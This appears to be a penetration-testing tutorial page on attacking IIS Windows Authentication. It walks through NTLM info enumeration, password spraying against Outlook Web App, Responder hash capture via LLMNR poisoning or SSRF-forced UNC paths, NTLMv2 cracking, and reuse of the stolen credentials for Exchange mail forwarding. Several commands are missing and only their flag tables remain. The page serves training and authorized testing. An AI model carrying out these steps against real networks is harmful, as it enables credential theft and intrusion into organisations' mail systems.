IIS Windows Authentication Attacks
IIS sites using Windows Authentication — NTLM or Negotiate — present an authentication surface attackable through credential spraying, NTLM hash capture via Responder, and pass-the-hash when NTLMv1 is negotiated. NTLM info extracted during IIS enumeration provides the domain name and hostname needed to target these attacks correctly.
Confirm NTLM Authentication Surface
WWW-Authenticate: Negotiate WWW-Authenticate: NTLM
| http-ntlm-info: | Target_Name: COMPANY | NetBIOS_Domain_Name: COMPANY | DNS_Domain_Name: company.local | DNS_Computer_Name: web01.company.local |_ Product_Version: 10.0.17763
Explain command
| -p 80,443 | Scan only ports 80 and 443. |
| --script http-ntlm-info | Run NSE script to extract NTLM info from HTTP auth headers. |
| $TARGET_IP | Placeholder for the target host IP address. |
Credential Spraying Against OWA
Outlook Web App on Exchange is the most common NTLM-authenticated IIS target. Spray one password across all known user accounts. OWA returns distinct responses for valid versus invalid credentials:
HTTP/2 302 Location: /owa/auth/logon.aspx?reason=2
[443][https-post-form] host: 10.10.10.50 login: [email protected] password: Password123
Explain command
| -L /tmp/users.txt | Load usernames from the specified file. |
| -p 'Password123' | Use a single fixed password for all attempts. |
| -s 443 | Override the default port with 443 (HTTPS). |
| $TARGET_IP | Placeholder for the target host IP address. |
| https-post-form | Use HTTPS POST form-based authentication module. |
| /owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2 | Form path, POST body with credential placeholders, and failure string. |
| -t 5 | Run 5 parallel connection tasks simultaneously. |
| -W 3 | Set wait time between each connection attempt to 3 seconds. |
NTLM Hash Capture with Responder
When the IIS server or a client can be made to authenticate to an attacker-controlled host, Responder captures the NTLMv2 hash for offline cracking. Set up Responder on the network interface facing the target:
Warning
Responder poisons LLMNR, NBT-NS, and mDNS broadcasts. This affects all hosts on the local segment, not just the target. Only run on networks where this is explicitly authorized. This poisoning is prohibited in the OSCP exam — capturing a hash via an SSRF-forced UNC path (no poisoning) is fine, but do not run Responder in poisoning mode during exam environments.
[+] Listening for events... [SMB] NTLMv2-SSP Client : 10.10.10.50 [SMB] NTLMv2-SSP Username : COMPANY\web_service [SMB] NTLMv2-SSP Hash : web_service::COMPANY:aabbccdd:HASH
Explain command
| -I eth0 | Specifies the network interface to listen on. |
| -w | Starts the WPAD rogue proxy server. |
| -r | Enables answers for NetBIOS wredir suffix queries. |
| -f | Fingerprints the remote host OS via NBT-NS queries. |
Trigger authentication from IIS to your Responder listener by inducing an SSRF via the web application — if a URL parameter fetches remote content, point it at your Responder listener IP using a UNC path:
Crack Captured NTLMv2 Hash
web_service::COMPANY:...:Password123
Explain command
| -m 5600 | Sets hash type to NetNTLMv2 for cracking. |
| captured_hash.txt | Input file containing the captured hash to crack. |
| /usr/share/wordlists/rockyou.txt | Wordlist file used for dictionary-based cracking. |
Test Credentials Against IIS with NTLM Auth
Use cracked or sprayed credentials against the NTLM-protected IIS site directly:
<title>Welcome - Internal Portal</title>
Valid credentials against an NTLM-protected IIS site often provide access to the ECP (Exchange Control Panel) or other administrative interfaces. ECP access enables creating new mailbox rules, forwarding all mail, and resetting passwords — high-impact lateral movement paths in Exchange environments.
References
-
LLMNR and NBT-NS poisoner for NTLM hash capture
-
NTLMv2 cracking with mode 5600
Was this helpful?
Your feedback helps improve this page.